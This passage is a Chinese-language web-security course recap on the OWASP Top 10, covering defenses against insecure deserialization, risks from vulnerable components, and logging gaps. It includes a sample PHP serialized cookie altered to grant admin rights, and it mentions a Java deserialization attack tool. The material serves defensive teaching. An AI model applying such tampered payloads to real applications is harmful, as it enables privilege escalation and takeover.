唯一安全的架構模式是：不接受來自不受信源的序列化物件，或使用只允許原始資料型別的序列化媒體。如果上述均無法實現，請考慮使用下面的方法：

執行完整性檢查，如：任何序列化物件的數字簽名，以防止惡意物件建立或資料篡改。
在建立物件之前強制執行嚴格的型別約束，因為程式碼通常被期望成一組可定義的類。繞過這種技術的方法已經被證明，所以完全依賴於它是不可取的。
如果可能，隔離執行那些在低特權環境中的反序列化程式碼。
記錄反序列化的例外情況和失敗資訊，如：傳入的型別不是預期的型別，或者反序列處理引發的例外情況。
限制或監視來自於容器或伺服器傳入和傳出的反序列化網路連線。
監控反序列化，當用戶持續進行反序列化時，對使用者進行警告。

攻擊案例場景

場景 #1：一個React應用程式呼叫了一組Spring Boot微服務，為了確保原有的程式碼不變，解決方法是序列化使用者狀態，並在每次請求時來回傳遞。這時，攻擊者可利用“R00”Java物件簽名，並使用Java Serial Killer工具在應用伺服器上獲得遠端程式碼執行。

場景 #2：一個PHP論壇使用PHP物件序列化來儲存一個“超級”cookie。該cookie包含了使用者的ID、角色、密碼雜湊和其他狀態：

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

攻擊者可以更改序列化物件以授予自己為admin許可權：

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

九、使用含有已知漏洞的元件

元件（例如：庫、框架和其他軟體模組）擁有和應用程式相同的許可權。如果應用程式中含有已知漏洞的元件被攻擊者利用，可能會造成嚴重的資料丟失或伺服器接管。同時，使用含有已知漏洞的元件和API會破壞應用程式的防禦手段，造成各種攻擊併產生嚴重影響。

十、不足的日誌記錄和監控

不足的日誌記錄和監控，以及事件響應缺失或無效的整合，使攻擊者能夠進一步攻擊系統，並篡改、提取或銷燬資料。大多數缺陷研究顯示，缺陷被檢測出的時間超過200天，且通常通過外部檢測方檢測，而不是通過內部流程或監控檢測。

未雨綢繆 - 專案中如何應對

開發人員需要做些什麼？

提高風險意識
Code Review
建立可重複使用的安全流程和標準安全控制
安全檢測工具

a) ZAP Tools

b) 靜態程式碼分析

建立持續性的應用安全測試
管理完整的應用程式生命週期

以上便是從本次公開課分享——“WebApp 安全風險與防護（系列二）”中擷取的部分內容，相信一定能對您的WebApp應用程式安全防護有所幫助。

下面奉上上期完整的回放

WebApp 安全風險與防護課堂（第二講）開課了！

OWASP Top 10 應用安全風險詳解

一、注入

自查：您的應用程式脆弱嗎？

如何防止注入？

攻擊案例場景

SQL盲注

WAF繞過

二、身份認證失效

自查：您的應用程式脆弱嗎？

如何防止？

攻擊案例場景

憑據填充（撞庫）

多因素驗證

三、敏感資料洩露

自查：您的應用程式脆弱嗎？

如何防止？

攻擊案例場景

各國應對措施

設計安全賬號系統的正確姿勢

四、XML 外部實體（XXE）

自查：您的應用程式脆弱嗎？

如何防止？

攻擊案例場景

XML基本定義

XML外部實體

XXE 注入定義

XXE 漏洞原理

五、失效的訪問控制

六、安全配置錯誤

七、跨站指令碼（XSS）

自查：您的應用程式脆弱嗎？

如何防止？

攻擊案例場景

內容安全策略 (CSP)

八、不安全的反序列化

自查：您的應用程式脆弱嗎？

如何防止？

攻擊案例場景

九、使用含有已知漏洞的元件

十、不足的日誌記錄和監控

未雨綢繆 - 專案中如何應對

開發人員需要做些什麼？

相關推薦